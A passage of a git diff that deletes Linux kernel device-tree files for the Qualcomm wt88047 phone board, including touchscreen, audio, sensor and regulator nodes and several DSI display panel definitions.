}; - - memory { - pstore_reserve_mem: pstore_reserve_mem_region@0 { - linux,reserve-contiguous-region; - linux,reserve-region; - linux,remove-completely; - reg = <0x0 0x8c300000 0x0 0x00100000>; - label = "pstore_reserve_mem"; - }; - }; -}; - -&soc { - ramoops { - compatible = "ramoops"; - status = "ok"; - - android,ramoops-buffer-start = <0x8c300000>; - android,ramoops-buffer-size = <0x100000>; - android,ramoops-console-size = <0x80000>; - android,ramoops-record-size = <0x7F800>; - android,ramoops-annotate-size = <0x800>; - android,ramoops-dump-oops = <0x1>; - }; - - spi@78b7000 { - status = "disabled"; - }; - - i2c@78ba000 { - nfc-nci@e { - status = "disabled"; - }; - }; - - i2c_3: i2c@78b7000 { /* BLSP1 QUP3 */ - compatible = "qcom,i2c-msm-v2"; - #address-cells = <1>; - #size-cells = <0>; - reg-names = "qup_phys_addr", "bam_phys_addr"; - reg = <0x78b7000 0x600>, - <0x7884000 0x23000>; - interrupt-names = "qup_irq", "bam_irq"; - interrupts = <0 97 0>, <0 238 0>; - clocks = <&clock_gcc clk_gcc_blsp1_ahb_clk>, - <&clock_gcc clk_gcc_blsp1_qup3_i2c_apps_clk>; - clock-names = "iface_clk", "core_clk"; - qcom,clk-freq-out = <100000>; - qcom,clk-freq-in = <19200000>; - pinctrl-names = "i2c_active", "i2c_sleep"; - pinctrl-0 = <&i2c_3_active>; - pinctrl-1 = <&i2c_3_sleep>; - qcom,noise-rjct-scl = <0>; - qcom,noise-rjct-sda = <0>; - qcom,bam-pipe-idx-cons = <8>; - qcom,bam-pipe-idx-prod = <9>; - qcom,master-id = <86>; - }; - - i2c@78b9000 { /* BLSP1 QUP5 */ - - goodix@5d { - compatible = "goodix,gt9xx"; - reg = <0x5d>; - interrupt-parent = <&msm_gpio>; - interrupts = <13 0x2008>; - vdd-supply = <&pm8916_l17>; - vcc_i2c-supply = <&pm8916_l6>; - pinctrl-names = "pmx_ts_active","pmx_ts_suspend"; - pinctrl-0 = <&ts_int_active &ts_reset_active>; - pinctrl-1 = <&ts_int_suspend &ts_reset_suspend>; - goodix,name = "goodix-ts"; - goodix,family-id = <0x36>; - goodix,rst-gpio = <&msm_gpio 12 0x0>; - goodix,irq-gpio = <&msm_gpio 13 0x2008>; - goodix,display-coords = <0 0 720 1280>; - goodix,panel-coords = <0 0 720 1280>; - goodix,button-map= <139 102 158>; - goodix,no-force-update; - goodix,i2c-pull-up; - goodix,group-id = <1>; - goodix,hard-reset-delay-ms = <20>; - goodix,soft-reset-delay-ms = <200>; - goodix,num-max-touches = <5>; - goodix,fw-delay-aa-ms = <30>; - goodix,fw-delay-55-ms = <30>; - goodix,fw-upgrade-id1 = <0x79>; - goodix,fw-upgrade-id2 = <0x18>; - goodix,fw-delay-readid-ms = <10>; - goodix,fw-delay-era-flsh-ms = <2000>; - goodix,fw-auto-cal; - goodix,ignore-id-check; - goodix,cfg-group1 =[ - 00 D0 02 00 05 05 34 00 01 C8 23 - 05 50 32 03 05 00 00 FF 7F 00 00 - 00 17 1A 1E 14 8B 2B 0D 3C 3E D3 - 07 00 00 02 01 33 11 00 00 00 00 - 00 00 00 32 00 00 29 1E 5A 94 C5 - 02 07 00 00 04 D7 21 00 B1 29 00 - 90 34 00 77 41 00 64 51 00 64 00 - 00 00 00 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 08 19 00 00 - 46 00 02 04 06 08 0A 0C 0E 10 12 - 14 16 18 1A FF 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 00 00 13 - 12 10 0F 0C 0A 08 06 04 02 00 16 - 18 1C 1D 1E 1F 20 21 22 24 26 FF - FF FF FF 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 BF 01]; - goodix,cfg-group2 =[ - 41 D0 02 00 05 05 35 20 01 08 28 - 0F 50 32 03 05 00 00 00 00 00 00 - 00 17 19 1E 14 8A 2A 0B 2B 2D 31 - 0D 00 00 00 83 02 1D 00 01 00 00 - 00 00 00 32 00 0A 00 23 4B 94 45 - 02 07 14 00 04 9A 25 00 7A 2C 00 - 5D 33 00 4B 3B 00 3C 45 00 3C 00 - 00 00 00 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 00 00 00 - 00 00 02 04 06 08 0A 0C 0E 10 12 - 14 16 FF FF FF 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 00 00 12 - 10 0F 0C 0A 08 06 04 02 00 16 18 - 1C 1D 1E 1F 20 21 22 24 FF FF FF - FF FF FF 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 8D 01]; - }; - - silead@40 { - compatible = "silead,gsl-tp"; - reg = <0x40>; - interrupt-parent = <&msm_gpio>; - interrupts = <13 0x2008>; - vdd-supply = <&pm8916_l17>; - vcc_i2c-supply = <&pm8916_l6>; - /* pins used by touchscreen */ - pinctrl-names = "pmx_ts_active","pmx_ts_suspend"; - pinctrl-0 = <&ts_int_active &ts_reset_active>; - pinctrl-1 = <&ts_int_suspend &ts_reset_suspend>; - silead,name = "gsl915"; - silead,family-id = <0x36>; - silead,reset-gpio = <&msm_gpio 12 0x0>; - silead,irq-gpio = <&msm_gpio 13 0x2008>; - silead,display-coords = <0 0 720 1280>; - silead,panel-coords = <0 0 720 1280>; - silead,button-map= <139 102 158>; - silead,no-force-update; - silead,i2c-pull-up; - silead,group-id = <1>; - silead,hard-reset-delay-ms = <20>; - silead,soft-reset-delay-ms = <200>; - silead,num-max-touches = <5>; - silead,fw-delay-aa-ms = <30>; - silead,fw-delay-55-ms = <30>; - silead,fw-upgrade-id1 = <0x79>; - silead,fw-upgrade-id2 = <0x18>; - silead,fw-delay-readid-ms = <10>; - silead,fw-delay-era-flsh-ms = <2000>; - silead,fw-auto-cal; - silead,ignore-id-check; - }; - }; - - flash_ocp8110:flashlight { - compatible = "qcom,leds-gpio-flash"; - status = "okay"; - pinctrl-names = "flash_default"; - pinctrl-0 = <&ocp8110_default>; - qcom,flash-en = <&msm_gpio 21 0>; - qcom,flash-now = <&msm_gpio 32 0>; - qcom,op-seq = "flash_en", "flash_now"; - qcom,torch-seq-val = <1 0>; - qcom,flash-seq-val = <1 1>; - linux,name = "flashlight"; - linux,default-trigger = "flashlight-trigger"; - }; - - sound { - compatible = "qcom,msm8x16-audio-codec"; - qcom,model = "msm8x16-skui-snd-card"; - qcom,msm-snd-card-id = <0>; - qcom,msm-ext-pa = "quaternary"; - qcom,msm-codec-type = "internal"; - qcom,msm-mbhc-hphl-swh = <1>; - qcom,msm-mbhc-gnd-swh = <0>; - qcom,msm-hs-micbias-type = "internal"; - qcom,audio-routing = - "RX_BIAS", "MCLK", - "SPK_RX_BIAS", "MCLK", - "INT_LDO_H", "MCLK", - "MIC BIAS Internal1", "Handset Mic", - "MIC BIAS Internal2", "Headset Mic", - "MIC BIAS Internal3", "Secondary Mic", - "AMIC1", "MIC BIAS Internal1", - "AMIC2", "MIC BIAS Internal2", - "AMIC3", "MIC BIAS Internal3", - "Headphones", "HPOUTL", - "Headphones", "HPOUTR"; - pinctrl-names = "cdc_lines_act", - "cdc_lines_sus", - "cdc_lines_quat_ext_act", - "cdc_lines_quat_ext_sus"; - pinctrl-0 = <&cdc_pdm_lines_act>; - pinctrl-1 = <&cdc_pdm_lines_sus>; - pinctrl-2 = <&cdc_pdm_lines_act &ext_cdc_tlmm_lines_act>; - pinctrl-3 = <&cdc_pdm_lines_sus &ext_cdc_tlmm_lines_sus>; - clocks = <&clock_rpm clk_bb_clk2>; - clock-names = "wm_mclk"; - asoc-platform = <&pcm0>, <&pcm1>, <&voip>, <&voice>, - <&loopback>, <&compress>, <&hostless>, - <&afe>, <&lsm>, <&routing>, <&lpa>; - asoc-platform-names = "msm-pcm-dsp.0", "msm-pcm-dsp.1", - "msm-voip-dsp", "msm-pcm-voice", "msm-pcm-loopback", - "msm-compress-dsp", "msm-pcm-hostless", "msm-pcm-afe", - "msm-lsm-client", "msm-pcm-routing", "msm-pcm-lpa"; - asoc-cpu = <&dai_pri_auxpcm>, <&dai_hdmi>, - <&dai_mi2s0>, <&dai_mi2s1>, <&dai_mi2s2>, <&dai_mi2s3>, - <&sb_0_rx>, <&sb_0_tx>, <&sb_1_rx>, <&sb_1_tx>, - <&sb_3_rx>, <&sb_3_tx>, <&sb_4_rx>, <&sb_4_tx>, - <&bt_sco_rx>, <&bt_sco_tx>, <&bt_a2dp_rx>, - <&int_fm_rx>, <&int_fm_tx>, - <&afe_pcm_rx>, <&afe_pcm_tx>, <&afe_proxy_rx>, <&afe_proxy_tx>, - <&incall_record_rx>, <&incall_record_tx>, <&incall_music_rx>, - <&incall_music_2_rx>; - asoc-cpu-names = "msm-dai-q6-auxpcm.1", "msm-dai-q6-hdmi.8", - "msm-dai-q6-mi2s.0", "msm-dai-q6-mi2s.1", - "msm-dai-q6-mi2s.2", "msm-dai-q6-mi2s.3", - "msm-dai-q6-dev.16384", "msm-dai-q6-dev.16385", - "msm-dai-q6-dev.16386", "msm-dai-q6-dev.16387", - "msm-dai-q6-dev.16390", "msm-dai-q6-dev.16391", - "msm-dai-q6-dev.16392", "msm-dai-q6-dev.16393", - "msm-dai-q6-dev.12288", "msm-dai-q6-dev.12289", - "msm-dai-q6-dev.12290", "msm-dai-q6-dev.12292", - "msm-dai-q6-dev.12293", "msm-dai-q6-dev.224", - "msm-dai-q6-dev.225", "msm-dai-q6-dev.241", - "msm-dai-q6-dev.240", "msm-dai-q6-dev.32771", - "msm-dai-q6-dev.32772", "msm-dai-q6-dev.32773", - "msm-dai-q6-dev.32770"; - asoc-codec = <&stub_codec>, <&pm8916_tombak_dig>; - asoc-codec-names = "msm-stub-codec.1", "tombak_codec"; - }; - - bq2022a { - compatible = "bq2022a"; - status= "okay"; - }; -}; - -&pm8916_mpps { - mpp@a300 { /* MPP 4 */ - /* Backlight PWM */ - qcom,mode = <1>; /* Digital output */ - qcom,invert = <0>; /* Disable Invert */ - qcom,src-sel = <4>; /* DTEST1 */ - qcom,vin-sel = <0>; /* VPH_PWR */ - qcom,master-en = <1>; /* Enable MPP */ - }; -}; - -&mdss_mdp { - qcom,mdss-pref-prim-intf = "dsi"; -}; - -&pmx_mdss { - qcom,num-grp-pins = <1>; - qcom,pins = <&gp 25>; -}; - -&mdss_dsi0 { - qcom,dsi-pref-prim-pan = <&dsi_txd_hx8394d_720p_video>; - qcom,dsi-pref-sub-pan = <&dsi_ofilm_hx8394d_720p_video>; - pinctrl-names = "mdss_default", "mdss_sleep"; - pinctrl-0 = <&mdss_dsi_active>; - pinctrl-1 = <&mdss_dsi_suspend>; - - qcom,platform-reset-gpio = <&msm_gpio 25 0>; - - vsp-supply = <&tps65132_pos>; - vsn-supply = <&tps65132_neg>; - qcom,panel-supply-entries { - #address-cells = <1>; - #size-cells = <0>; - qcom,panel-supply-entry@2 { - reg = <2>; - qcom,supply-name = "vsp"; - qcom,supply-min-voltage = <5400000>; - qcom,supply-max-voltage = <5400000>; - qcom,supply-enable-load = <200>; - qcom,supply-disable-load = <0>; - }; - qcom,panel-supply-entry@3 { - reg = <3>; - qcom,supply-name = "vsn"; - qcom,supply-min-voltage = <5400000>; - qcom,supply-max-voltage = <5400000>; - qcom,supply-enable-load = <40>; - qcom,supply-disable-load = <0>; - }; - }; -}; - -&dsi_txd_hx8394d_720p_video { - qcom,cont-splash-enabled; -}; - -&dsi_ofilm_hx8394d_720p_video { - qcom,cont-splash-enabled; -}; - -&tlmm_pinmux { - ocp8110_pins { - qcom,pins = <&gp 31>, <&gp 32>; - qcom,num-grp-pins = <2>; - qcom,pin-func = <0>; - label = "ocp8110_pins"; - ocp8110_default: en_default { - drive-strength = <2>; - bias-pull-down; - }; - }; - - tps65132-en-pin { - qcom,pins = <&gp 1>, <&gp 0>; - qcom,num-grp-pins = <2>; - label = "tps65132_en_pins"; - qcom,pin-func = <0>; - tps65132_en_default: en-default { - drive-strength = <2>; - bias-pull-down; - }; - }; - - pmx_i2c_3 { - /* CLK, DATA */ - qcom,pins = <&gp 10>, <&gp 11>; - qcom,num-grp-pins = <2>; - qcom,pin-func = <2>; - label = "pmx_i2c_3"; - /* active state */ - i2c_3_active: i2c_3_active { - drive-strength = <2>; /* 2 MA */ - bias-pull-up; - }; - /*suspended state */ - i2c_3_sleep: i2c_3_sleep { - drive-strength = <2>; /* 2 MA */ - bias-pull-up; - }; - }; -}; - -&i2c_0 { /* BLSP1 QUP2 */ - di_ap3426@1e { - compatible = "di_ap3426"; - reg = <0x1e>; - interrupt-parent = <&msm_gpio>; - interrupts = <113 0x2002>; - vdd-supply = <&pm8916_l17>; - vio-supply = <&pm8916_l6>; - ap3426,irq-gpio= <&msm_gpio 113 0x2002>; - ap3426,ps-thdl = <100>; - ap3426,ps-thdh = <200>; - ap3426,ps-calibration-min = <0>; - ap3426,ps-calibration-expected = <120>; - ap3426,ps-calibration-max = <500>; - ap3426,ps-integrated-time = <0x0>; - }; - - tps65132@3e { - compatible = "ti,tps65132"; - reg = <0x3e>; - ti,en-gpio-lpm; - pinctrl-names = "default"; - pinctrl-0 = <&tps65132_en_default>; - - regulators { - tps65132_pos: pos-boost { - regulator-name = "tps65132-pos"; - regulator-min-microvolt = <5400000>; - regulator-max-microvolt = <5400000>; - ti,discharge-enable; - ti,enable-time = <800>; - ti,current-limit = <200000>; - ti,en-gpio = <&msm_gpio 0 0>; - }; - - tps65132_neg: neg-boost { - regulator-name = "tps65132-neg"; - regulator-min-microvolt = <5400000>; - regulator-max-microvolt = <5400000>; - ti,discharge-enable; - ti,enable-time = <800>; - ti,current-limit = <40000>; - ti,en-gpio = <&msm_gpio 1 0>; - }; - }; - }; - - mpu6050@68 { - compatible = "invn,mpu6050"; - reg = <0x68>; - pinctrl-names = "mpu_default","mpu_sleep"; - pinctrl-0 = <&mpu6050_default>; - pinctrl-1 = <&mpu6050_sleep>; - interrupt-parent = <&msm_gpio>; - interrupts = <115 0x2>; - vdd-supply = <&pm8916_l17>; - vlogic-supply = <&pm8916_l16>; - vi2c-supply = <&pm8916_l6>; - invn,gpio-int = <&msm_gpio 115 0x2>; - invn,place = "Portrait Down Back Side"; - }; - - akm@c { - compatible = "ak,ak09911"; - reg = <0x0c>; - vdd-supply = <&pm8916_l17>; - vio-supply = <&pm8916_l6>; - akm,layout = <0x6>; - akm,auto-report; - }; -}; - -&i2c_3 { - - wm8998@1a { - compatible = "wlf,wm8998"; - reg = <0x1a>; - wlf,clk-src = "BBCLK2"; - wlf,clk-gpio = <&pm8916_gpios 2 0>; - interrupt-parent = <&msm_gpio>; - interrupts = <9 0x2008>; - wlf,irq = <&msm_gpio 9 0x2008>; - wlf,reset = <&msm_gpio 16 0>; - wlf,irq_base = <700>; - AVDD-supply = <&pm8916_l6>; - wlf,AVDD-voltage = <1800000 1800000>; - wlf,AVDD-current = <25000>; - DBVDD1-supply = <&pm8916_l6>; - wlf,DBVDD1-voltage = <1800000 1800000>; - wlf,DBVDD1-current = <25000>; - DBVDD2-supply = <&pm8916_l6>; - wlf,DBVDD2-voltage = <1800000 1800000>; - wlf,DBVDD2-current = <25000>; - DBVDD3-supply = <&pm8916_l6>; - wlf,DBVDD3-voltage = <1800000 1800000>; - wlf,DBVDD3-current = <25000>; - CPVDD-supply = <&pm8916_l6>; - wlf,CPVDD-voltage = <1800000 1800000>; - wlf,CPVDD-current = <25000>; - SPKVDDL-supply = <&pm8916_l6>; - wlf,SPKVDDL-voltage = <1800000 1800000>; - wlf,SPKVDDL-current = <25000>; - SPKVDDR-supply = <&pm8916_l6>; - wlf,SPKVDDR-voltage = <1800000 1800000>; - wlf,SPKVDDR-current = <25000>; - wlf,clk32k_src = <2>; - wlf,micd_bias_start_time = <7>; - wlf,infinite_micd = <1>; - wlf,micd-rate = <6>; - wlf,micd-configs = <0x0000 2 1>; - wlf,micd-detect-debounce = <500>; - wlf,inmode = <0 0 0>; - wlf,micbias1 = <2200 1 1 0 1>; - wlf,micbias2 = <2200 1 1 0 1>; - wlf,micbias3 = <2200 1 1 0 1>; - }; -}; - -&sdhc_2 { - interrupts = <0 1>; - interrupt-map = <0 &intc 0 125 0 - 1 &intc 0 221 0>; - interrupt-names = "hc_irq", "pwr_irq"; - /delete-property/ cd-gpios; -}; - diff --git a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521-720p-video.dtsi b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521-720p-video.dtsi deleted file mode 100644 index 75b8517283698..0000000000000 --- a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521-720p-video.dtsi +++ /dev/null @@ -1,77 +0,0 @@ -/* Copyright (c) 2016, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -&mdss_mdp { - dsi_nt35521_720p_video: qcom,mdss_dsi_nt35521_720p_video { - qcom,mdss-dsi-panel-name = "nt35521_HD720p_video_AUO5"; - qcom,mdss-dsi-panel-controller = <&mdss_dsi0>; - qcom,mdss-dsi-panel-type = "dsi_video_mode"; - qcom,mdss-dsi-panel-destination = "display_1"; - qcom,mdss-dsi-panel-framerate = <60>; - qcom,mdss-dsi-virtual-channel-id = <0>; - qcom,mdss-dsi-stream = <0>; - qcom,mdss-dsi-panel-width = <720>; - qcom,mdss-dsi-panel-height = <1280>; - qcom,mdss-pan-physical-width-dimension = <58>; - qcom,mdss-pan-physical-height-dimension = <103>; - qcom,mdss-dsi-h-front-porch = <160>; - qcom,mdss-dsi-h-back-porch = <160>; - qcom,mdss-dsi-h-pulse-width = <20>; - qcom,mdss-dsi-h-sync-skew = <0>; - qcom,mdss-dsi-v-back-porch = <16>; - qcom,mdss-dsi-v-front-porch = <16>; - qcom,mdss-dsi-v-pulse-width = <2>; - qcom,mdss-dsi-h-left-border = <0>; - qcom,mdss-dsi-h-right-border = <0>; - qcom,mdss-dsi-v-top-border = <0>; - qcom,mdss-dsi-v-bottom-border = <20>; - qcom,mdss-dsi-bpp = <24>; - qcom,mdss-dsi-underflow-color = <0xff>; - qcom,mdss-dsi-border-color = <0>; - qcom,mdss-dsi-pixel-packing = "tight"; - qcom,mdss-dsi-on-command = [39 01 00 00 00 00 06 F0 55 AA 52 08 00 - 39 01 00 00 00 00 02 C8 00 - 39 01 00 00 00 00 06 F0 55 AA 52 08 02 - 39 01 00 00 00 00 05 EF 11 08 16 19 - 39 01 00 00 00 00 06 F0 55 AA 52 08 01 - 39 01 00 00 00 00 03 B5 04 04 - 39 01 00 00 00 00 03 B9 35 35 - 39 01 00 00 00 00 03 BA 25 25 - 05 01 00 00 78 00 02 11 00 - 05 01 00 00 00 00 02 29 00]; - qcom,mdss-dsi-off-command = [05 01 00 00 00 00 02 28 00 - 05 01 00 00 00 00 02 10 00]; - qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; - qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; - qcom,mdss-dsi-h-sync-pulse = <1>; - qcom,mdss-dsi-traffic-mode = "burst_mode"; - qcom,mdss-dsi-bllp-eof-power-mode; - qcom,mdss-dsi-bllp-power-mode; - qcom,mdss-dsi-hfp-power-mode; - qcom,mdss-dsi-hbp-power-mode; - qcom,mdss-dsi-hsa-power-mode; - qcom,mdss-dsi-lane-0-state; - qcom,mdss-dsi-lane-1-state; - qcom,mdss-dsi-lane-2-state; - qcom,mdss-dsi-panel-timings = [B4 2A 1C 00 54 58 20 2E 20 03 04 00]; - qcom,mdss-dsi-t-clk-post = <0x03>; - qcom,mdss-dsi-t-clk-pre = <0x23>; - qcom,mdss-dsi-bl-min-level = <10>; - qcom,mdss-dsi-bl-max-level = <255>; - qcom,mdss-dsi-bl-pmic-pwm-frequency = <100>; - qcom,mdss-dsi-bl-pmic-bank-select = <0>; - qcom,mdss-dsi-dma-trigger = "trigger_sw"; - qcom,mdss-dsi-mdp-trigger = "none"; - qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_pwm"; - qcom,mdss-dsi-reset-sequence = <1 5>, <0 10>, <1 30>; - }; -}; diff --git a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521-ofilm-720p-video.dtsi b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521-ofilm-720p-video.dtsi deleted file mode 100644 index efc047d7f1195..0000000000000 --- a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521-ofilm-720p-video.dtsi +++ /dev/null @@ -1,74 +0,0 @@ -/* Copyright (c) 2016, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -&mdss_mdp { - dsi_nt35521_ofilm_720p_video: qcom,mdss_dsi_nt35521_ofilm_720p_video { - qcom,mdss-dsi-panel-name = "nt35521_HD720p_video_OFILM"; - qcom,mdss-dsi-panel-controller = <&mdss_dsi0>; - qcom,mdss-dsi-panel-type = "dsi_video_mode"; - qcom,mdss-dsi-panel-destination = "display_1"; - qcom,mdss-dsi-panel-framerate = <60>; - qcom,mdss-dsi-virtual-channel-id = <0>; - qcom,mdss-dsi-stream = <0>; - qcom,mdss-dsi-panel-width = <720>; - qcom,mdss-dsi-panel-height = <1280>; - qcom,mdss-pan-physical-width-dimension = <58>; - qcom,mdss-pan-physical-height-dimension = <103>; - qcom,mdss-dsi-h-front-porch = <160>; - qcom,mdss-dsi-h-back-porch = <160>; - qcom,mdss-dsi-h-pulse-width = <20>; - qcom,mdss-dsi-h-sync-skew = <0>; - qcom,mdss-dsi-v-back-porch = <16>; - qcom,mdss-dsi-v-front-porch = <16>; - qcom,mdss-dsi-v-pulse-width = <2>; - qcom,mdss-dsi-h-left-border = <0>; - qcom,mdss-dsi-h-right-border = <0>; - qcom,mdss-dsi-v-top-border = <0>; - qcom,mdss-dsi-v-bottom-border = <20>; - qcom,mdss-dsi-bpp = <24>; - qcom,mdss-dsi-underflow-color = <0xff>; - qcom,mdss-dsi-border-color = <0>; - qcom,mdss-dsi-pixel-packing = "tight"; - qcom,mdss-dsi-on-command = [39 01 00 00 00 00 06 F0 55 AA 52 08 00 - 39 01 00 00 00 00 02 C8 00 - 39 01 00 00 00 00 06 F0 55 AA 52 08 01 - 39 01 00 00 00 00 03 B5 04 04 - 39 01 00 00 00 00 03 B9 35 35 - 39 01 00 00 00 00 03 BA 25 25 - 05 01 00 00 78 00 02 11 00 - 05 01 00 00 00 00 02 29 00]; - qcom,mdss-dsi-off-command = [05 01 00 00 00 00 02 28 00 - 05 01 00 00 00 00 02 10 00]; - qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; - qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; - qcom,mdss-dsi-h-sync-pulse = <1>; - qcom,mdss-dsi-traffic-mode = "burst_mode"; - qcom,mdss-dsi-bllp-eof-power-mode; - qcom,mdss-dsi-bllp-power-mode; - qcom,mdss-dsi-lane-0-state; - qcom,mdss-dsi-lane-1-state; - qcom,mdss-dsi-lane-2-state; - qcom,mdss-dsi-panel-timings = [B4 2A 1C 00 54 58 20 2E 20 03 04 00]; - qcom,mdss-dsi-t-clk-post = <0x03>; - qcom,mdss-dsi-t-clk-pre = <0x23>; - qcom,mdss-dsi-bl-min-level = <1>; - qcom,mdss-dsi-bl-max-level = <255>; - qcom,mdss-dsi-bl-pmic-pwm-frequency = <100>; - qcom,mdss-dsi-bl-pmic-bank-select = <0>; - qcom,mdss-dsi-dma-trigger = "trigger_sw"; - qcom,mdss-dsi-mdp-trigger = "none"; - qcom,mdss-dsi-lp11-init; - qcom,mdss-dsi-init-delay-us = <50000>; - qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_pwm"; - qcom,mdss-dsi-reset-sequence = <1 5>, <0 10>, <1 30>; - }; -}; diff --git a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521s-720p-video.dtsi b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521s-720p-video.dtsi deleted file mode 100644 index 8e37860b5d763..0000000000000 --- a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521s-720p-video.dtsi +++ /dev/null @@ -1,75 +0,0 @@ -/* Copyright (c) 2016, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -&mdss_mdp { - dsi_nt35521s_720p_video: qcom,mdss_dsi_nt35521s_720p_video { - qcom,mdss-dsi-panel-name = "nt35521s_HD720p_video_BOE"; - qcom,mdss-dsi-panel-controller = <&mdss_dsi0>; - qcom,mdss-dsi-panel-type = "dsi_video_mode"; - qcom,mdss-dsi-panel-destination = "display_1"; - qcom,mdss-dsi-panel-framerate = <60>; - qcom,mdss-dsi-virtual-channel-id = <0>; - qcom,mdss-dsi-stream = <0>; - qcom,mdss-dsi-panel-width = <720>; - qcom,mdss-dsi-panel-height = <1280>; - qcom,mdss-pan-physical-width-dimension = <58>; - qcom,mdss-pan-physical-height-dimension = <103>; - qcom,mdss-dsi-h-front-porch = <160>; - qcom,mdss-dsi-h-back-porch = <160>; - qcom,mdss-dsi-h-pulse-width = <20>; - qcom,mdss-dsi-h-sync-skew = <0>; - qcom,mdss-dsi-v-back-porch = <16>; - qcom,mdss-dsi-v-front-porch = <16>; - qcom,mdss-dsi-v-pulse-width = <2>; - qcom,mdss-dsi-h-left-border = <0>; - qcom,mdss-dsi-h-right-border = <0>; - qcom,mdss-dsi-v-top-border = <0>; - qcom,mdss-dsi-v-bottom-border = <20>; - qcom,mdss-dsi-bpp = <24>; - qcom,mdss-dsi-underflow-color = <0xff>; - qcom,mdss-dsi-border-color = <0>; - qcom,mdss-dsi-on-command = [ - 29 01 00 00 00 00 05 FF AA 55 25 01 - 29 01 00 00 00 00 02 6F 21 - 29 01 00 00 00 00 02 F7 01 - 29 01 00 00 00 00 02 6F 21 - 29 01 00 00 00 00 02 F7 00 - 29 01 00 00 00 00 05 FF AA 55 25 00 - 29 01 00 00 00 00 02 35 00 - 05 01 00 00 78 00 02 11 00 - 05 01 00 00 00 00 02 29 00]; - qcom,mdss-dsi-off-command = [05 01 00 00 00 00 02 28 00 - 05 01 00 00 78 00 02 10 00]; - qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; - qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; - qcom,mdss-dsi-h-sync-pulse = <1>; - qcom,mdss-dsi-traffic-mode = "non_burst_sync_event"; - qcom,mdss-dsi-bllp-eof-power-mode; - qcom,mdss-dsi-bllp-power-mode; - qcom,mdss-dsi-lane-0-state; - qcom,mdss-dsi-lane-1-state; - qcom,mdss-dsi-lane-2-state; - qcom,mdss-dsi-panel-timings = [B4 2A 1C 00 54 58 20 2E 20 03 04 00]; - qcom,mdss-dsi-t-clk-post = <0x03>; - qcom,mdss-dsi-t-clk-pre = <0x23>; - qcom,mdss-dsi-bl-min-level = <10>; - qcom,mdss-dsi-bl-max-level = <255>; - qcom,mdss-dsi-bl-pmic-pwm-frequency = <100>; - qcom,mdss-dsi-bl-pmic-bank-select = <0>; - qcom,mdss-dsi-dma-trigger = "trigger_sw"; - qcom,mdss-dsi-mdp-trigger = "none"; - qcom,mdss-dsi-lp11-init; - qcom,mdss-dsi-init-delay-us = <50000>; - qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_pwm"; - qcom,mdss-dsi-reset-sequence = <1 5>, <0 10>, <1 30>; - }; -}; diff --git a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-otm1285a-720p-video.dtsi b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-otm1285a-720p-video.dtsi deleted file mode 100644 index 1d5839d5770b6..0000000000000 --- a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-otm1285a-720p-video.dtsi +++ /dev/null @@ -1,182 +0,0 @@ -/* Copyright (c) 2016, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -&mdss_mdp { - dsi_otm1285a_720p_video: qcom,mdss_dsi_otm1285a_720p_video { - qcom,mdss-dsi-panel-name = "otm1285a_HD720p_video_EBBG"; - qcom,mdss-dsi-panel-controller = <&mdss_dsi0>; - qcom,mdss-dsi-panel-type = "dsi_video_mode"; - qcom,mdss-dsi-panel-destination = "display_1"; - qcom,mdss-dsi-panel-framerate = <60>; - qcom,mdss-dsi-virtual-channel-id = <0>; - qcom,mdss-dsi-stream = <0>; - qcom,mdss-dsi-panel-width = <720>; - qcom,mdss-dsi-panel-height = <1280>; - qcom,mdss-pan-physical-width-dimension = <62>; - qcom,mdss-pan-physical-height-dimension = <114>; - qcom,mdss-dsi-h-front-porch = <35>; - qcom,mdss-dsi-h-back-porch = <35>; - qcom,mdss-dsi-h-pulse-width = <2>; - 